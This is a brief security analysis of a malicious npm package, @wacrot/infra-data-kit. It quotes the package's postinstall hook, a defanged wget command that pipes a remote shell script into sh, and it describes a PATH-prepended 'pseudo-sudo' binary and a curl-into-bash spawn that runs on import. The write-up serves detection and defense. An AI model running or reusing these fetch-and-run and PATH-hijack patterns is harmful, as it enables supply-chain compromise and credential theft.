@wacrot/infra-data-kit@2.1.4

Analysis

The postinstall hook (wget -qO- hxxps://web[.]stanford[.]edu/~pseay/pliant/setup[.]sh | sh) downloads and executes a remote shell script from a personal Stanford.edu directory — an established pattern for hosting payloads on compromised .edu accounts. The bundled setup-env.sh downloads two binaries named 'pseudo-sudo' and 'et' into ~/.so-sorry-sarah and prepends that directory to PATH via shell config modification. 'pseudo-sudo' is a strong credential-harvesting indicator (sudo impersonation). Separately, src/index.js defines and calls addSupport() at module load time, which spawns a detached unref'd bash process that pipes curl|bash from example[.]com (a placeholder; the scaffold for a remote payload is present). The library code (GIS data parsing) is a decoy — well-written and documented, but the real purpose is the postinstall payload chain and the dormant spawn-on-import backdoor. The publisher uses a disposable duck[.]com email. No token-theft markers were found, but the credential-theft vector (pseudo-sudo) and multi-stage remote execution patterns are clear.